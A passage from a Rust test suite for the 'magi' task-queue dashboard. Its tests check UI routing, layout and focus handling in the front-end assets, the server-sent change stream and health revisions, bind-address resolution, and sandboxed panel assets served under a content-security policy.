14864        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
14865    }
14866
14867    #[test]
14868    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
14869        // A blocked task's chip and note must not fall back to a queued-like
14870        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
14871        // itself by e11fc58 but never checked here.
14872        assert!(APP_JS.contains("blocked: { glyph:"));
14873        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
14874
14875        // `blocked_by` mixes task ids and question ids in the same list, and
14876        // the client can only tell them apart by checking each id against
14877        // what it actually knows - never by guessing from the id's shape.
14878        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
14879        assert!(
14880            APP_JS.contains(
14881                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
14882            ),
14883            "the note line must name what a blocked task is waiting on, not just that it is blocked"
14884        );
14885        // The classification must key off `status_str`, never off `blocked_by`
14886        // or `block_reason` merely being present - both can survive briefly
14887        // on a task a hold or a dead daemon just moved off `blocked`.
14888        assert!(APP_JS.contains("if (status === \"blocked\") {"));
14889
14890        // A question a task is blocked on gets its own node in the same
14891        // dependency graph, not just a task-shaped node with nothing known
14892        // about it.
14893        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
14894        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
14895        assert!(
14896            APP_JS.contains("location.hash = \"#/questions\";"),
14897            "a question node must jump to the Questions screen, not pretend to be a task"
14898        );
14899
14900        // `Task::answers` - decisions already made - are shown as a record on
14901        // the card, the same disclosure style as the full instruction.
14902        assert!(APP_JS.contains("Resolved questions"));
14903        assert!(APP_JS.contains("r.answersList.append("));
14904        assert!(APP_CSS.contains(".task-answers"));
14905        {
14906            let start = APP_JS
14907                .find("function updateTalkTaskRow")
14908                .expect("updateTalkTaskRow");
14909            let body = &APP_JS[start..];
14910            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
14911            assert!(
14912                body.contains(
14913                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
14914                ),
14915                "a chat-filed task row must link to the task page"
14916            );
14917            assert!(
14918                !body.contains("#/runs/") && !body.contains("#/queue/"),
14919                "the row must not branch to a run or the queue card"
14920            );
14921            assert!(APP_CSS.contains(".talk-task-link"));
14922        }
14923    }
14924
14925    #[test]
14926    fn a_task_notification_links_to_the_task_page() {
14927        // A task notice opens the task detail page, not the Backlog card.
14928        let start = APP_JS
14929            .find("function noticeLink(")
14930            .expect("noticeLink exists");
14931        let body = &APP_JS[start..];
14932        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
14933        assert!(
14934            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
14935            "a task notice's link must target the task page"
14936        );
14937        assert!(
14938            !body.contains("#/queue/"),
14939            "regression: the task link must not go back to the Backlog route"
14940        );
14941        assert!(
14942            APP_JS.contains(
14943                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
14944            ),
14945            "`#/tasks/<id>` must parse into the task route"
14946        );
14947
14948        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
14949        assert!(
14950            APP_JS.contains(
14951                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
14952            ),
14953            "`#/queue/<id>` must parse into a route carrying that id"
14954        );
14955
14956        // And the Backlog view has to actually land on the card once it can
14957        // - see consumeQueueFocus(), which renderQueue() calls on every pass
14958        // so a focus set before the queue has loaded is retried once it has.
14959        assert!(APP_JS.contains("state.queueFocus = route.id;"));
14960        assert!(APP_JS.contains("function consumeQueueFocus()"));
14961        assert!(APP_JS.contains("jumpToTask(id)"));
14962    }
14963
14964    /// Chat rows are two lines at every width: the title alone, then the
14965    /// shrinkable secondary info.
14966    #[test]
14967    fn chat_rows_put_the_title_alone_on_the_first_line() {
14968        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
14969        assert!(APP_CSS.contains(
14970            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
14971        ));
14972        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
14973        assert!(APP_JS.contains("class: \"badge talk-unread\""));
14974    }
14975
14976    #[test]
14977    fn run_rows_put_the_title_alone_on_the_first_line() {
14978        assert!(
14979            APP_CSS.contains(
14980                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
14981            )
14982        );
14983        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
14984        assert!(APP_JS.contains("class: \"card run-card\""));
14985        assert!(APP_JS.contains("class: \"repo run-id\""));
14986    }
14987
14988    /// Wide screens get a master/detail layout built from the views a phone
14989    /// drills into. These are string assertions: they pin the contract between
14990    /// the three assets, not how it looks.
14991    #[test]
14992    fn wide_screens_show_list_and_preview_side_by_side() {
14993        // One breakpoint, spelled the same in the script and the stylesheet.
14994        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
14995        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
14996        assert!(APP_CSS.contains("main[data-split]"));
14997        assert!(APP_CSS.contains("body[data-split]"));
14998
14999        // The route -> panes table, and a narrow screen opting out of it.
15000        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
15001        assert!(
15002            APP_JS.contains(
15003                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
15004            )
15005        );
15006        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
15007        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
15008        assert!(INDEX_HTML.contains("id=\"split-empty\""));
15009
15010        // Selection is derived from the route, and only ever paints a row.
15011        assert!(APP_JS.contains("function markSelected() {"));
15012        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
15013        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
15014        // The dense row must override the stacked card the 720px block sets up.
15015        assert!(
15016            APP_CSS.contains(
15017                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
15018            )
15019        );
15020
15021        // Independent scrolling: the page stops scrolling, each pane does.
15022        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
15023        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
15024        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
15025        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
15026
15027        // A refresh must never navigate: the loaders still check that their
15028        // subject is the one on screen, and crossing the breakpoint only
15029        // re-reads the hash.
15030        assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
15031        assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
15032        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
15033        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
15034
15035        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
15036        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
15037    }
15038
15039    #[test]
15040    fn panel_sandbox_carries_exactly_popups() {
15041        let needle = "sandbox: \"";
15042        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
15043        assert_eq!(
15044            matches.len(),
15045            1,
15046            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
15047        );
15048        let start = matches[0].0 + needle.len();
15049        let end = APP_JS[start..]
15050            .find('"')
15051            .expect("sandbox attribute value must be terminated by a closing quote");
15052        let val = &APP_JS[start..start + end];
15053        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
15054        let expected: std::collections::BTreeSet<&str> =
15055            ["allow-popups", "allow-popups-to-escape-sandbox"]
15056                .into_iter()
15057                .collect();
15058        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
15059        assert!(
15060            !tokens.contains("allow-scripts"),
15061            "allow-scripts must never be present in sandbox"
15062        );
15063        assert!(
15064            !tokens.contains("allow-same-origin"),
15065            "allow-same-origin must never be present in sandbox"
15066        );
15067    }
15068
15069    #[test]
15070    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
15071        // consumeQueueFocus() clears an active Backlog search before it can
15072        // scroll to the target card (the sections list is hidden while a
15073        // search is showing), by recursing back into renderQueue(). The
15074        // fixer's first cut nulled state.queueFocus before that recursive
15075        // call, so the second pass saw nothing to jump to and the jump was
15076        // silently dropped whenever a notification's link was opened with a
15077        // stale search still active. state.queueFocus must only be cleared
15078        // right before jumpToTask() actually runs.
15079        assert!(
15080            APP_JS.contains(
15081                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
15082            ),
15083            "the search-clearing branch must run before state.queueFocus is cleared, or the \
15084             recursive renderQueue() call has nothing left to jump to"
15085        );
15086        assert!(
15087            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
15088            "state.queueFocus must be cleared only once the jump has landed, so a card that \
15089             arrives later still gets it"
15090        );
15091        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
15092        assert!(APP_JS.contains("is not in the current Backlog."));
15093        assert!(APP_JS.contains("li.card[data-task-id=\""));
15094        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
15095        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
15096        assert!(APP_CSS.contains(".card-permalink"));
15097        assert!(APP_CSS.contains(".queue-focus-status"));
15098        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
15099    }
15100
15101    #[test]
15102    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
15103        // The task's own repro: only the link text inside .notice-meta was
15104        // clickable, so a tap on the message, the timestamp, or the card's
15105        // padding did nothing - on a phone that reads as "the card doesn't
15106        // work" even though the tiny link inside it did. Mark read / Dismiss
15107        // must keep working independently of this: `.closest("a, button")`
15108        // is what lets a tap that actually lands on those elements fall
15109        // through instead of being hijacked into a navigation.
15110        assert!(
15111            APP_JS.contains(
15112                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
15113            ),
15114            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
15115        );
15116    }
15117
15118    #[test]
15119    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
15120        assert!(
15121            APP_JS.contains("round.verified_head !== round.head"),
15122            "a round that verified an earlier commit must be visibly distinct from one that \
15123             verified the head reviewers are looking at now"
15124        );
15125        assert!(
15126            APP_JS.contains("round.verified_at"),
15127            "when a check ran must be on the wire, not just which commit"
15128        );
15129        assert!(
15130            APP_JS.contains("resource_blocked"),
15131            "a command magi never got to run (shared build cache contention) must not render \
15132             the same as a command that ran and failed"
15133        );
15134    }
15135
15136    #[test]
15137    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
15138        // Every KPI tile but Total runs and Completion names an exact
15139        // RunStatus and hands it to openRunsFiltered(), which is what wires
15140        // the click into state.runsFilter.status (matchesFilter's own
15141        // status check) rather than the coarser runsStateFilter chips. Each
15142        // status literal here must be one of the strings runSection() (and
15143        // isStale()) actually compare a run's own `status` field against -
15144        // a status this dashboard invented would filter to nothing.
15145        assert!(
15146            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
15147            "every KPI tile built through statusTile() must route its click through \
15148             openRunsFiltered, the single place that sets the Runs filter"
15149        );
15150        for (label, status) in [
15151            ("Merged", "merged"),
15152            ("Ready", "ready"),
15153            ("Blocked", "blocked"),
15154            ("Stalled", "stalled"),
15155        ] {
15156            let call = format!("statusTile(\"{label}\", t.{status}, ");
15157            assert!(
15158                APP_JS.contains(&call),
15159                "expected the {label} KPI tile built via {call}..."
15160            );
15161            assert!(
15162                APP_JS.contains(&format!("status === \"{status}\"")),
15163                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
15164                 compare a run against, not one invented only for the stats tile"
15165            );
15166        }
15167        assert!(
15168            APP_JS.contains("function openRunsFiltered(status)"),
15169            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
15170        );
15171        assert!(
15172            APP_JS.contains(
15173                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
15174            ),
15175            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
15176        );
15177        // applyRoute() only flips which view is visible for a plain `#runs`
15178        // hash - it does not itself redraw the list (see applyRoute's own
15179        // handling below) - so openRunsFiltered must call renderRuns()
15180        // itself, and must call applyRoute() too so the view flips even
15181        // when the hash string doesn't change (the operator may already be
15182        // on the Runs view when a tile is tapped, which fires no
15183        // hashchange event at all).
15184        assert!(
15185            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
15186            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
15187             hashchange event that may never fire"
15188        );
15189    }
15190
15191    #[test]
15192    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
15193        // A stats tile can leave state.runsFilter.status set to something
15194        // done-by-construction (e.g. "merged") - picking "Active" afterward
15195        // must drop it the same way an incompatible tree section is already
15196        // dropped, or the Runs list renders permanently empty with no way
15197        // for the operator to tell why.
15198        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
15199        assert!(
15200            APP_JS.contains(
15201                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
15202            ),
15203            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
15204             guard for an incompatible tree section"
15205        );
15206    }
15207
15208    #[test]
15209    fn every_stats_queue_tile_names_a_real_queue_section() {
15210        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
15211        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
15212        // (consumeQueueSectionFocus finds no matching <details> and drops
15213        // the focus) rather than fail loudly, so pin every key against the
15214        // section list it has to resolve against.
15215        assert!(
15216            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
15217            "every queue tile built through sectionTile() must route its click through \
15218             openQueueSectionFocus"
15219        );
15220        for key in ["upnext", "running", "done", "held", "blocked"] {
15221            assert!(
15222                APP_JS.contains(&format!("{{ key: \"{key}\",")),
15223                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
15224            );
15225        }
15226        // Queued and Failed intentionally both resolve to "upnext" - the
15227        // same section queueSection() itself files them under - rather than
15228        // getting a section each.
15229        for line in [
15230            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
15231            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
15232            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
15233            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
15234            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
15235            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
15236        ] {
15237            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
15238        }
15239    }
15240
15241    #[test]
15242    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
15243        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
15244        // above for the section-focus channel a stats queue tile drives:
15245        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
15246        // through the stale-search-clear recursion into renderQueue(), and
15247        // clear it only once revealQueueSection() is actually about to run -
15248        // the same trap that once silently dropped a task-focus jump.
15249        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
15250        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
15251        assert!(APP_JS.contains("function revealQueueSection(details)"));
15252        assert!(
15253            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
15254            "renderQueue() must consume both focus channels on every pass"
15255        );
15256        assert!(
15257            APP_JS.contains(
15258                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
15259            ),
15260            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
15261             the recursive renderQueue() call has nothing left to reveal"
15262        );
15263        assert!(
15264            APP_JS.contains(
15265                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
15266            ),
15267            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
15268        );
15269        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
15270        // task-focus form of the hash - a plain `#queue` navigation only
15271        // flips which view is visible. openQueueSectionFocus() must
15272        // therefore call renderQueue() itself, and applyRoute() too so the
15273        // view flips even when the hash doesn't change (the Backlog may
15274        // already be open when a tile is tapped, firing no hashchange
15275        // event at all).
15276        assert!(
15277            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
15278            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
15279             hashchange event that may never fire"
15280        );
15281    }
15282
15283    #[tokio::test]
15284    async fn the_change_stream_announces_the_current_revisions_on_connect() {
15285        let f = Fixture::start().await;
15286
15287        let mut socket = tokio::net::TcpStream::connect(f.addr)
15288            .await
15289            .expect("connect");
15290        socket
15291            .write_all(
15292                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
15293            )
15294            .await
15295            .expect("write request");
15296
15297        // Read until the first event arrives rather than to end of stream: the
15298        // stream is endless by design, which is the point of the route.
15299        let mut seen = String::new();
15300        let mut buf = [0u8; 1024];
15301        while !seen.contains("event: change") {
15302            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
15303                .await
15304                .expect("the stream must speak within five seconds")
15305                .expect("read");
15306            assert!(read > 0, "the server closed the change stream: {seen}");
15307            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
15308        }
15309
15310        assert!(
15311            seen.to_lowercase()
15312                .contains("content-type: text/event-stream"),
15313            "the browser only reconnects automatically for a real SSE stream: {seen}"
15314        );
15315        let data = seen
15316            .lines()
15317            .find_map(|l| l.strip_prefix("data:"))
15318            .expect("a data line");
15319        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
15320        assert!(
15321            payload["queue_rev"].is_u64()
15322                && payload["runs_rev"].is_u64()
15323                && payload["questions_rev"].is_u64()
15324                && payload["talks_rev"].is_u64()
15325                && payload["notifications_rev"].is_u64()
15326                && payload["loop_rev"].is_u64(),
15327            "the client needs one revision per store to know what to refetch, \
15328             and `talks_rev` is the only notification a standing talk gets - a \
15329             phone whose radio slept through a turn learns about it here, as \
15330             does one whose operator started the loop from another device: \
15331             {payload}"
15332        );
15333
15334        // The front end re-polls health on a timer and on wake, and takes the
15335        // revisions from that answer whenever the stream is not up. So health
15336        // has to carry every key the stream carries: a phone on a link that
15337        // will not hold an SSE connection is exactly the phone that must still
15338        // notice a question, and a missing key there is not a 500 but a UI
15339        // that quietly stops updating.
15340        let health = f.get("/api/health").await.json();
15341        for key in [
15342            "queue_rev",
15343            "runs_rev",
15344            "questions_rev",
15345            "talks_rev",
15346            "notifications_rev",
15347            "loop_rev",
15348        ] {
15349            assert!(
15350                health[key].is_u64(),
15351                "health is the change stream's fallback and is missing `{key}`: {health}"
15352            );
15353        }
15354    }
15355
15356    #[tokio::test]
15357    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
15358        let f = Fixture::start().await;
15359        let before = f.get("/api/health").await.json()["talks_rev"]
15360            .as_u64()
15361            .expect("talks_rev");
15362
15363        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
15364        std::thread::sleep(Duration::from_millis(10));
15365        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
15366        on_disk.turns.push(crate::talk::Turn {
15367            breaks: Some(Vec::new()),
15368            messages: Vec::new(),
15369            posted_by: None,
15370            who: crate::talk::Who::Operator,
15371            body: "a new turn".to_owned(),
15372            at: Timestamp::now(),
15373            attachments: Vec::new(),
15374            usage: None,
15375        });
15376        f.talks().put(&mut on_disk).expect("record a turn");
15377
15378        let after = f.get("/api/health").await.json()["talks_rev"]
15379            .as_u64()
15380            .expect("talks_rev");
15381        assert_ne!(
15382            before, after,
15383            "a phone must be able to notice a talk's reply without polling every store"
15384        );
15385    }
15386
15387    #[test]
15388    fn bind_reads_back_from_the_spelling_the_cli_prints() {
15389        // The CLI shows the default in `--help` and parses whatever comes
15390        // back, so the two directions have to agree or `--bind auto` breaks
15391        // the moment someone copies the help text.
15392        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
15393            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
15394        }
15395        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
15396        assert!("everywhere".parse::<Bind>().is_err());
15397    }
15398
15399    #[test]
15400    fn an_explicit_bind_address_is_taken_verbatim() {
15401        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
15402
15403        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
15404
15405        assert_eq!(addr, asked);
15406        assert!(
15407            warning.is_none(),
15408            "an operator who named an address gets no lecture"
15409        );
15410    }
15411
15412    #[test]
15413    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
15414        let (addr, warning) = resolve_bind(&Bind::Auto);
15415
15416        // This has to hold on a CI runner with no `tailscale` and on a dev box
15417        // with one, so the invariant asserted is the one shared by both
15418        // outcomes: the address is either a real tailnet address offered
15419        // without comment, or loopback with an explanation. What must never
15420        // happen is a silent fallback - an operator told "listening on
15421        // 127.0.0.1" with no reason would go looking for a firewall.
15422        match addr {
15423            IpAddr::V4(ip) if is_tailnet(&ip) => {
15424                assert!(warning.is_none(), "a tailnet address needs no warning");
15425            }
15426            other => {
15427                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
15428                let warning = warning.expect("a fallback has to explain itself");
15429                assert!(
15430                    warning.contains("127.0.0.1") && warning.contains("local-only"),
15431                    "the warning says what happened and what it costs: {warning}"
15432                );
15433            }
15434        }
15435    }
15436
15437    #[test]
15438    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
15439        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
15440        // boundary cases are what stop us binding to some other tool's idea of
15441        // an address.
15442        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
15443        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
15444        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
15445        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
15446        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
15447    }
15448
15449    #[test]
15450    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
15451        let ids = vec![
15452            "20260902-140501-aaaa".to_owned(),
15453            "20260902-140502-aabb".to_owned(),
15454        ];
15455
15456        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
15457        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
15458        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
15459
15460        assert_eq!(missing.status, StatusCode::NOT_FOUND);
15461        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
15462        assert_eq!(short, "20260902-140502-aabb");
15463    }
15464    #[tokio::test]
15465    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
15466        // The prompt tells agents to reference attachments by bare filename.
15467        // A document served at `.../panel` resolves `shot.png` against its own
15468        // directory, i.e. `.../shot.png`, which is not the asset route - so a
15469        // panel written exactly as instructed showed broken images. Caught by
15470        // looking at a real one in a browser, not by reading the code.
15471        let fx = Fixture::start().await;
15472        let id = panel(
15473            &fx,
15474            "<img src=\"shot.png\">",
15475            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
15476        );
15477
15478        // The frame's own URL ends in a filename, so its siblings are reachable.
15479        let doc = fx
15480            .get(&format!("/api/questions/{id}/panel/index.html"))
15481            .await;
15482        assert_eq!(doc.status, 200, "{}", doc.body);
15483        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
15484
15485        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
15486        assert_eq!(sibling.status, 200, "{}", sibling.body);
15487        assert_eq!(sibling.header("content-type"), Some("image/png"));
15488        assert_eq!(
15489            sibling.header("content-security-policy"),
15490            Some(PANEL_CSP),
15491            "the sibling route must carry the same policy as the asset route"
15492        );
15493
15494        // The original spelling keeps working: HEAD on it is how the front end
15495        // decides whether to mount a frame at all.
15496        assert_eq!(
15497            fx.head(&format!("/api/questions/{id}/panel")).await.status,
15498            200
15499        );
15500    }
15501
15502    #[test]
15503    fn delta_stamps_cover_add_update_remove_and_noop() {
15504        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
15505        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
15506        let delta = diff_stamps(&before, &after, 42);
15507        assert_eq!(delta.base, 42);
15508        assert_eq!(delta.changed, ["b", "c"]);
15509        assert_eq!(delta.removed, ["a"]);
15510        let same = diff_stamps(&after, &after, 43);
15511        assert!(same.changed.is_empty() && same.removed.is_empty());
15512        assert_ne!(stamps_revision(&before), stamps_revision(&after));
15513        let nanos: Stamps = [("b".into(), (2, 20))].into();
15514        let same_ms: Stamps = [("b".into(), (3, 20))].into();
15515        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
15516        assert_eq!(stamps_revision(&Stamps::new()), 0);
15517    }
15518
15519    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
15520        std::fs::create_dir_all(home.join("runs")).unwrap();
15521        Arc::new(Ui::new(
15522            Queue::at(home.join("queue")),
15523            Questions::at(home.join("questions")),
15524            Talks::at(home.join("talks")),
15525            home.join("runs"),
15526            home.to_owned(),
15527            PathBuf::from("/repo/magi"),
15528        ))
15529    }
15530
15531    #[tokio::test]
15532    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
15533        let home = TempDir::new().unwrap();
15534        let ui = delta_test_ui(home.path());
15535        let mut task = Task::new(
15536            "stream task".into(),
15537            "text".into(),
15538            PathBuf::from("/repo"),
15539            Source::Human,
15540        );
15541        ui.queue.put(&mut task).unwrap();
15542        let response = events(State(ui.clone())).await.into_response();
15543        let mut stream = response.into_body().into_data_stream();
15544        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
15545            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
15546                .await
15547                .unwrap()
15548                .unwrap()
15549                .unwrap();
15550            let text = String::from_utf8(chunk.to_vec()).unwrap();
15551            let data = text
15552                .lines()
15553                .find_map(|line| {
15554                    line.strip_prefix("data: ")
15555                        .or_else(|| line.strip_prefix("data:"))
15556                })
15557                .unwrap();
15558            serde_json::from_str(data).unwrap()
15559        }
15560        let initial = change(&mut stream).await;
15561        assert!(initial.get("queue_delta").is_none());
15562        task.instruction.push_str(" changed");
15563        ui.queue.put(&mut task).unwrap();
15564        let updated = change(&mut stream).await;
15565        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
15566        assert_eq!(
15567            updated["queue_delta"]["changed"],
15568            serde_json::json!([task.id])
15569        );
15570        assert_eq!(
15571            updated["queue_rev"].as_u64(),
15572            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
15573        );
15574        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
15575        let removed = change(&mut stream).await;
15576        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
15577        assert_eq!(
15578            removed["queue_delta"]["removed"],
15579            serde_json::json!([task.id])
15580        );
15581    }
15582
15583    #[tokio::test]
15584    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
15585        let home = TempDir::new().unwrap();
15586        let ui = delta_test_ui(home.path());
15587        let queue = ui.queue.clone();
15588        let query = |ids: Option<&str>| {
15589            Query(ListQuery {
15590                limit: Some(2),
15591                ids: ids.map(str::to_owned),
15592            })
15593        };
15594        let mut root = Task::new(
15595            "root".into(),
15596            "instruction".into(),
15597            PathBuf::from("/repo"),
15598            Source::Human,
15599        );
15600        queue.put(&mut root).unwrap();
15601        let mut blocked = Task::new(
15602            "blocked".into(),
15603            "instruction".into(),
15604            PathBuf::from("/repo"),
15605            Source::Human,
15606        );
15607        blocked.block(vec![root.id.clone()], None);
15608        queue.put(&mut blocked).unwrap();
15609        let whole =
15610            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
15611                .unwrap();
15612        let subset = serde_json::to_value(
15613            queue_list(State(ui.clone()), query(Some(&root.id)))
15614                .await
15615                .unwrap()
15616                .0,
15617        )
15618        .unwrap();
15619        assert_eq!(whole, subset, "requested root plus its blocked dependent");
15620        let blockers = serde_json::to_value(
15621            queue_list(State(ui.clone()), query(Some("")))
15622                .await
15623                .unwrap()
15624                .0,
15625        )
15626        .unwrap();
15627        assert_eq!(blockers.as_array().unwrap().len(), 1);
15628        assert_eq!(blockers[0]["id"], blocked.id);
15629        assert_eq!(
15630            blockers[0]["waits_on"],
15631            whole
15632                .as_array()
15633                .unwrap()
15634                .iter()
15635                .find(|row| row["id"] == blocked.id)
15636                .unwrap()["waits_on"]
15637        );
15638
15639        for id in [
15640            "20260902-140501-aaaa",
15641            "20260902-140502-bbbb",
15642            "20260902-140503-cccc",
15643        ] {
15644            write_run(&ui.runs, id, RunStatus::Merged);
15645        }
15646        let old = serde_json::to_value(
15647            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
